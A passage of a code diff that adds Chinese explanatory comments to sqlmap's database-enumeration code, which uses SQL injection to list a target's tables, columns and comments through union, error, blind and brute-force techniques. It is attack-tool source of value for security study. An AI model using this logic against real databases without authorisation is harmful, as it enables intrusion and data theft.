Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + # 如果选择 'N',则返回 if choice == 'N': return + # 如果选择 'Q',则抛出用户退出异常 elif choice == 'Q': raise SqlmapUserQuitException + # 否则使用 tableExists 函数进行暴力破解 else: return tableExists(paths.COMMON_TABLES) + # 构造获取表信息的日志信息 infoMsg = "fetching tables for database" infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs))) logger.info(infoMsg) + # 获取查询表的根 SQL 语句 rootQuery = queries[Backend.getIdentifiedDbms()].tables - + # 如果可以使用联合查询,错误查询或者直接模式 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: values = [] - + # 遍历查询和条件 for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))): + # 如果已经获取到表名称 或者 query 为空,则跳出循环 if not isNoneValue(values) or not query: break - + # 如果有条件 if condition: + # 如果不是 SQLite if not Backend.isDbms(DBMS.SQLITE): + # 添加 where 条件 query += " WHERE %s" % condition + # 如果需要排除系统数据库 if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) + # 添加 in 条件,排除不需要的系统数据库 query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) + # 如果不需要排除系统数据库 else: + # 添加 in 条件,选择数据库 query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) - + # 如果只有一个数据库,则去除多余的条件 if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) - + # 如果 query 不为空 if query: + # 执行查询,获取表名称 values = inject.getValue(query, blind=False, time=False) - + # 如果获取到表名称 if not isNoneValue(values): values = [_ for _ in arrayizeValue(values) if _] - + # 如果获取到的值没有嵌套列表,则将其转换为嵌套列表 if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] - + # 遍历数据库和表 for db, table in filterPairValues(values): + # 对表名进行安全处理 table = unArrayizeValue(table) - + # 如果表名称不为空 if not isNoneValue(table): db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(table, True).strip() + # 如果需要获取表注释 if conf.getComments: + # 获取表注释的 SQL 语句 _ = queries[Backend.getIdentifiedDbms()].table_comment + # 如果有查询语句 if hasattr(_, "query"): + # 如果是 ORACLE, DB2, DERBY, ALTIBASE 则使用大写表名 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + # 否则使用小写表名 else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) - + # 执行查询,获取表注释 comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + # 如果获取到表注释 if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) if METADB_SUFFIX not in db: infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) + # 如果不支持获取表注释,则给出提示 else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get table comments" singleTimeWarnMessage(warnMsg) - + # 将获取到的表名称添加到缓存 if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) - + # 如果无法通过注入获取表名称,且可以使用推理攻击,且不是直接模式 if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: + # 遍历数据库 for db in dbs: + # 如果需要排除系统数据库,且当前数据库在需要排除的列表中,则跳过当前数据库 if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) continue - + # 如果数据库名称匹配排除模式,则跳过当前数据库 if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db) singleTimeLogMessage(infoMsg) continue - + # 遍历查询和计数 for _query, _count in ((rootQuery.blind.query, rootQuery.blind.count), (getattr(rootQuery.blind, "query2", None), getattr(rootQuery.blind, "count2", None))): + # 如果 _query 为空,则跳出循环 if _query is None: break - + # 输出获取表数量的日志信息 infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) - + # 根据不同的数据库类型构建查询语句 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): query = _count % unsafeSQLIdentificatorNaming(db) else: query = _count - + # 执行查询,获取表数量 count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # 如果表数量为 0,则给出警告信息,并跳出循环 if count == 0: warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) warnMsg += "appears to be empty" logger.warning(warnMsg) break - + # 如果表数量不是一个有效的数字,则给出警告信息,并跳过当前循环 elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) singleTimeWarnMessage(warnMsg) continue - + # 如果表数量是一个有效的数字,则初始化表列表 tables = [] - + # 判断当前数据库是否需要加 1 plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + # 获取索引范围 indexRange = getLimitRange(count, plusOne=plusOne) - + # 遍历索引范围 for index in indexRange: + # 根据不同的数据库类型构建查询语句 if Backend.isDbms(DBMS.SYBASE): query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): @@ -406,696 +499,738 @@ class Databases(object): query = _query % (index, unsafeSQLIdentificatorNaming(db)) else: query = _query % (unsafeSQLIdentificatorNaming(db), index) - + # 执行查询,获取表名称 table = unArrayizeValue(inject.getValue(query, union=False, error=False)) - + # 如果获取到表名称,则添加到列表 if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) - + # 如果获取到表列表,则将其添加到缓存中 if tables: kb.data.cachedTables[db] = tables - + # 如果需要获取表注释 if conf.getComments: + # 遍历表列表 for table in tables: + # 获取表注释的 SQL 语句 _ = queries[Backend.getIdentifiedDbms()].table_comment + # 如果有查询语句 if hasattr(_, "query"): + # 如果是 ORACLE, DB2, DERBY, ALTIBASE 则使用大写表名 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + # 否则使用小写表名 else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) - + # 执行查询,获取表注释 comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + # 如果获取到表注释,则输出日志信息 if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) if METADB_SUFFIX not in db: infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) + # 如果不支持获取表注释,则给出提示信息 else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get table comments" singleTimeWarnMessage(warnMsg) break + # 如果没有获取到表列表,则给出警告信息 else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warning(warnMsg) + # 如果 kb.data.cachedTables 为空,则清空缓存 if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() - + # 如果 kb.data.cachedTables 为空,则给出错误信息,并根据 bruteForce 决定是否进行暴力破解 if not kb.data.cachedTables: errMsg = "unable to retrieve the table names for any database" if bruteForce is None: logger.error(errMsg) return self.getTables(bruteForce=True) + # 如果是搜索模式,则不抛出异常 elif not conf.search: raise SqlmapNoneDataException(errMsg) + # 如果获取到表列表 else: for db, tables in kb.data.cachedTables.items(): + # 对表列表进行排序 kb.data.cachedTables[db] = sorted(tables) if tables else tables - + # 如果获取到表列表 if kb.data.cachedTables: + # 对表列表进行去重 for db in kb.data.cachedTables: kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) - + # 返回缓存的表信息 return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): - self.forceDbmsEnum() - - if conf.db is None or conf.db == CURRENT_DB: - if conf.db is None: - warnMsg = "missing database parameter. sqlmap is going " - warnMsg += "to use the current database to enumerate " - warnMsg += "table(s) columns" - logger.warning(warnMsg) - - conf.db = self.getCurrentDb() - - if not conf.db: - errMsg = "unable to retrieve the current " - errMsg += "database name" - raise SqlmapNoneDataException(errMsg) - - elif conf.db is not None: - if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - conf.db = conf.db.upper() - - if ',' in conf.db: - errMsg = "only one database name is allowed when enumerating " - errMsg += "the tables' columns" - raise SqlmapMissingMandatoryOptionException(errMsg) - - conf.db = safeSQLIdentificatorNaming(conf.db) - - if conf.col: - if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - conf.col = conf.col.upper() - - colList = conf.col.split(',') - else: - colList = [] - - if conf.exclude: - colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] - - for col in colList: - colList[colList.index(col)] = safeSQLIdentificatorNaming(col) - - colList = [_ for _ in colList if _] - - if conf.tbl: - if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - conf.tbl = conf.tbl.upper() - - tblList = conf.tbl.split(',') - else: - self.getTables() - - if len(kb.data.cachedTables) > 0: - if conf.db in kb.data.cachedTables: - tblList = kb.data.cachedTables[conf.db] - else: - tblList = list(six.itervalues(kb.data.cachedTables)) - - if tblList and isListLike(tblList[0]): - tblList = tblList[0] - - tblList = list(tblList) - elif not conf.search: - errMsg = "unable to retrieve the tables" - if METADB_SUFFIX not in conf.db: - errMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - raise SqlmapNoneDataException(errMsg) + # 1. 强制执行数据库类型枚举 + self.forceDbmsEnum() + + # 2. 如果 conf.db 为空 或 等于 CURRENT_DB,表示需要获取当前数据库 + if conf.db is None or conf.db == CURRENT_DB: + # 3. 如果 conf.db 为空,则给出警告,提示使用当前数据库 + if conf.db is None: + warnMsg = "missing database parameter. sqlmap is going " + warnMsg += "to use the current database to enumerate " + warnMsg += "table(s) columns" + logger.warning(warnMsg) + + # 4. 获取当前数据库名称 + conf.db = self.getCurrentDb() + + # 5. 如果无法获取当前数据库名称,则抛出异常 + if not conf.db: + errMsg = "unable to retrieve the current " + errMsg += "database name" + raise SqlmapNoneDataException(errMsg) + # 6. 如果 conf.db 不为空,表示用户指定了数据库 + elif conf.db is not None: + # 7. 如果当前数据库属于大写数据库类型,则转换为大写 + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.db = conf.db.upper() + + # 8. 如果 conf.db 包含逗号,表示指定了多个数据库,抛出异常,提示只允许一个数据库 + if ',' in conf.db: + errMsg = "only one database name is allowed when enumerating " + errMsg += "the tables' columns" + raise SqlmapMissingMandatoryOptionException(errMsg) + + # 9. 对数据库名称进行安全处理 + conf.db = safeSQLIdentificatorNaming(conf.db) + + # 10. 如果 conf.col 不为空,表示指定了列名称 + if conf.col: + # 11. 如果当前数据库属于大写数据库类型,则将列名称转换为大写 + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.col = conf.col.upper() + + # 12. 将列名称按逗号分割为列表 + colList = conf.col.split(',') + # 13. 如果 conf.col 为空,则初始化一个空列表 + else: + colList = [] + + # 14. 如果 conf.exclude 不为空,则过滤掉匹配排除模式的列名称 + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + + # 15. 对列名称进行安全处理 + for col in colList: + colList[colList.index(col)] = safeSQLIdentificatorNaming(col) + + # 16. 清理空字符串列名称 + colList = [_ for _ in colList if _] + + # 17. 如果 conf.tbl 不为空,表示指定了表名称 + if conf.tbl: + # 18. 如果当前数据库属于大写数据库类型,则将表名称转换为大写 + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.tbl = conf.tbl.upper() + + # 19. 将表名称按逗号分割为列表 + tblList = conf.tbl.split(',') + # 20. 如果 conf.tbl 为空,则获取所有表名称 + else: + self.getTables() + + # 21. 如果缓存的表信息不为空 + if len(kb.data.cachedTables) > 0: + # 22. 如果 conf.db 在缓存的表信息中,则获取该数据库下的表列表 + if conf.db in kb.data.cachedTables: + tblList = kb.data.cachedTables[conf.db] + # 23. 否则,获取缓存的表信息中的所有表列表 else: - return kb.data.cachedColumns - - if conf.exclude: - tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None] - - tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList) - - if bruteForce is None: - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - warnMsg = "information_schema not available, " - warnMsg += "back-end DBMS is MySQL < 5.0" - logger.warning(warnMsg) - bruteForce = True - - elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): - warnMsg = "cannot retrieve column names, " - warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() - singleTimeWarnMessage(warnMsg) - bruteForce = True - - if bruteForce: - resumeAvailable = False - + tblList = list(six.itervalues(kb.data.cachedTables)) + + # 24. 如果 tblList 是一个嵌套列表,则获取第一个列表 + if tblList and isListLike(tblList[0]): + tblList = tblList[0] + + # 25. 将 tblList 转换为列表 + tblList = list(tblList) + # 26. 如果没有表信息,且不是在搜索模式,则抛出异常,提示无法获取表 + elif not conf.search: + errMsg = "unable to retrieve the tables" + if METADB_SUFFIX not in conf.db: + errMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + raise SqlmapNoneDataException(errMsg) + # 27. 如果没有表信息,且是搜索模式,则返回缓存的列信息 + else: + return kb.data.cachedColumns + + # 28. 如果 conf.exclude 不为空,则过滤掉匹配排除模式的表名称 + if conf.exclude: + tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None] + + # 29. 对表名称进行安全处理 + tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList) + + # 30. 如果 bruteForce 为空,表示不需要暴力破解 + if bruteForce is None: + # 31. 如果是 MySQL 且没有 information_schema,则给出警告,并设置强制暴力破解 + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5.0" + logger.warning(warnMsg) + bruteForce = True + # 32. 如果是 ACCESS, MCKOI, EXTREMEDB, RAIMA 等数据库,则给出警告,并设置强制暴力破解 + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + warnMsg = "cannot retrieve column names, " + warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) + bruteForce = True + + # 33. 如果 bruteForce 为真,表示需要暴力破解 + if bruteForce: + resumeAvailable = False + # 34. 遍历所有表 + for tbl in tblList: + # 35. 遍历 kb.brute.columns 中的列信息 + for db, table, colName, colType in kb.brute.columns: + # 36. 如果数据库名称和表名称匹配,则设置 resumeAvailable 为真,并跳出循环 + if db == conf.db and table == tbl: + resumeAvailable = True + break + + # 37. 如果 resumeAvailable 为真,且不需要刷新查询 或者 没有指定列,则从缓存中获取列信息 + if resumeAvailable and not (conf.freshQueries and not colList): + columns = {} + # 38. 初始化列字典 + for column in colList: + columns[column] = None + + # 39. 遍历所有表 for tbl in tblList: + # 40. 遍历 kb.brute.columns 中的列信息 for db, table, colName, colType in kb.brute.columns: + # 41. 如果数据库名称和表名称匹配,则将列名称和类型添加到列字典中 if db == conf.db and table == tbl: - resumeAvailable = True - break - - if resumeAvailable and not (conf.freshQueries and not colList): - columns = {} - - for column in colList: - columns[column] = None - - for tbl in tblList: - for db, table, colName, colType in kb.brute.columns: - if db == conf.db and table == tbl: - columns[colName] = colType - - if conf.db in kb.data.cachedColumns: - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns - else: - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} - + columns[colName] = colType + + # 42. 将列字典添加到缓存 + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns + else: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} + + # 43. 返回缓存的列信息 + return kb.data.cachedColumns + + # 44. 如果 kb.choices.columnExists 为空,则提示用户是否使用通用列检查 + if kb.choices.columnExists is None: + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + kb.choices.columnExists = readInput(message, default='Y' if 'Y' in message else 'N').upper() + + # 45. 如果用户选择不使用通用列检查 + if kb.choices.columnExists == 'N': + # 46. 如果是转储模式,且指定了列,则将列名称添加到缓存 + if dumpMode and colList: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): dict((_, None) for _ in colList)} return kb.data.cachedColumns - - if kb.choices.columnExists is None: - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") - kb.choices.columnExists = readInput(message, default='Y' if 'Y' in message else 'N').upper() - - if kb.choices.columnExists == 'N': - if dumpMode and colList: - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): dict((_, None) for _ in colList)} - return kb.data.cachedColumns + # 47. 否则返回 None + else: + return None + # 48. 如果用户选择退出,则抛出异常 + elif kb.choices.columnExists == 'Q': + raise SqlmapUserQuitException + # 49. 否则使用 columnExists 函数进行暴力破解 + else: + return columnExists(paths.COMMON_COLUMNS) + + # 50. 获取查询列信息的 SQL 语句根 + rootQuery = queries[Backend.getIdentifiedDbms()].columns + # 51. 获取条件 + condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None + + # 52. 如果可以使用联合查询,错误查询 或者直接模式 + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + # 53. 遍历表列表 + for tbl in tblList: + # 54. 如果缓存中已经有该数据库和表的列信息,则直接返回 + if conf.db is not None and len(kb.data.cachedColumns) > 0 \ + and conf.db in kb.data.cachedColumns and tbl in \ + kb.data.cachedColumns[conf.db]: + infoMsg = "fetched table columns from " + infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) + + return {conf.db: kb.data.cachedColumns[conf.db]} + + # 55. 初始化获取列信息的日志信息 + infoMsg = "fetching columns " + condQuery = "" + + # 56. 如果指定了列 + if len(colList) > 0: + # 57. 如果指定了列和条件元组,则使用 LIKE 操作符 + if colTuple: + _, colCondParam = colTuple + infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) + # 58. 否则使用等于操作符 else: - return None - elif kb.choices.columnExists == 'Q': - raise SqlmapUserQuitException + colCondParam = "='%s'" + infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) + # 59. 构造条件查询字符串 + condQueryStr = "%%s%s" % colCondParam + condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) + # 60. 根据不同的数据库类型构造查询语句 + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + query += condQuery + + # 61. 如果是 MySQL 且是 Drizzle 分支,则替换列类型 + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("column_type", "data_type", query, flags=re.I) + # 62. 如果是 ORACLE, DB2, DERBY, ALTIBASE, MIMERSQL,则使用大写表名 + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query += condQuery + # 63. 如果是 MSSQL + elif Backend.isDbms(DBMS.MSSQL): + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, + conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query += condQuery.replace("[DB]", conf.db) + # 64. 如果是 SQLITE, FIREBIRD + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl) + # 65. 如果是 INFORMIX + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query += condQuery + + # 66. 如果是转储模式,且指定了列,则只查询指定的列 + if dumpMode and colList: + values = [(_,) for _ in colList] + # 67. 否则输出日志信息,并执行查询 else: - return columnExists(paths.COMMON_COLUMNS) - - rootQuery = queries[Backend.getIdentifiedDbms()].columns - condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - for tbl in tblList: - if conf.db is not None and len(kb.data.cachedColumns) > 0 \ - and conf.db in kb.data.cachedColumns and tbl in \ - kb.data.cachedColumns[conf.db]: - infoMsg = "fetched table columns from " - infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.info(infoMsg) - - return {conf.db: kb.data.cachedColumns[conf.db]} + infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX not in conf.db: + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) - infoMsg = "fetching columns " - condQuery = "" + values = None - if len(colList) > 0: - if colTuple: - _, colCondParam = colTuple - infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) + if values is None: + values = inject.getValue(query, blind=False, time=False) + if values and isinstance(values[0], six.string_types): + values = [values] + # 68. 如果是 MSSQL,且没有获取到值 + if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): + index, values = 1, [] + # 69. 不断尝试获取值 + while True: + query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) + value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + # 70. 如果没有获取到值 或者 值为空格,则跳出循环 + if isNoneValue(value) or value == " ": + break + # 71. 否则添加到值列表中 else: - colCondParam = "='%s'" - infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) - - condQueryStr = "%%s%s" % colCondParam - condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): - query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) - query += condQuery - - if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): - query = re.sub("column_type", "data_type", query, flags=re.I) - - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): - query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) - query += condQuery - - elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, - conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) - query += condQuery.replace("[DB]", conf.db) - - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl) - - elif Backend.isDbms(DBMS.INFORMIX): - query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) - query += condQuery - + values.append((value,)) + index += 1 + # 72. 如果是 SQLITE + if Backend.isDbms(DBMS.SQLITE): + # 73. 如果是转储模式,且指定了列,则将列添加到缓存 if dumpMode and colList: - values = [(_,) for _ in colList] + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + # 74. 否则解析 SQLITE 表结构 else: - infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - if METADB_SUFFIX not in conf.db: - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.info(infoMsg) - - values = None - - if values is None: - values = inject.getValue(query, blind=False, time=False) - if values and isinstance(values[0], six.string_types): - values = [values] - - if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): - index, values = 1, [] - - while True: - query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) - value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) - - if isNoneValue(value) or value == " ": - break - else: - values.append((value,)) - index += 1 - - if Backend.isDbms(DBMS.SQLITE): - if dumpMode and colList: - if conf.db not in kb.data.cachedColumns: - kb.data.cachedColumns[conf.db] = {} - kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) - else: - parseSqliteTableSchema(unArrayizeValue(values)) - - elif not isNoneValue(values): - table = {} - columns = {} - - for columnData in values: - if not isNoneValue(columnData): - columnData = [unArrayizeValue(_) for _ in columnData] - name = safeSQLIdentificatorNaming(columnData[0]) - - if name: - if conf.getComments: - _ = queries[Backend.getIdentifiedDbms()].column_comment - if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) - else: - query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) - - comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) - if not isNoneValue(comment): - infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name) - logger.info(infoMsg) - else: - warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() - warnMsg += "possible to get column comments" - singleTimeWarnMessage(warnMsg) - - if len(columnData) == 1: - columns[name] = None - else: - key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] - if Backend.isDbms(DBMS.FIREBIRD): - columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) - elif Backend.isDbms(DBMS.ALTIBASE): - columnData[1] = ALTIBASE_TYPES.get(key, columnData[1]) - elif Backend.isDbms(DBMS.INFORMIX): - notNull = False - if isinstance(key, int) and key > 255: - key -= 256 - notNull = True - columnData[1] = INFORMIX_TYPES.get(key, columnData[1]) - if notNull: - columnData[1] = "%s NOT NULL" % columnData[1] - - columns[name] = columnData[1] - - if conf.db in kb.data.cachedColumns: - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns - else: - table[safeSQLIdentificatorNaming(tbl, True)] = columns - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table - - elif isInferenceAvailable() and not conf.direct: - for tbl in tblList: - if conf.db is not None and len(kb.data.cachedColumns) > 0 \ - and conf.db in kb.data.cachedColumns and tbl in \ - kb.data.cachedColumns[conf.db]: - infoMsg = "fetched table columns from " - infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.info(infoMsg) - - return {conf.db: 